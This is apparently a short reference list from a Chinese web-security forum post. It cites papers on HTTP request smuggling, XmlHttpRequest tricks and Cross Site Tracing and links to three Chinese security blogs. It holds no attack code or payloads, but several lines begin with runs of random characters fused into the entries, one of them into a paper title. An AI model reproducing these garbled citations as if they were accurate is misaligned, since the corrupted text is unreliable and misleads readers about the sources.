"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
# H$ Q4 _0 E# t8 I4 }, k# z5 O  eOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
7 N9 Z$ l2 }% \7 T/ B7 X- i空虚浪子心BLOG http://www.inbreak.net
1 m( M; Z; p" e/ i8 E! I; qXeye Team http://xeye.us/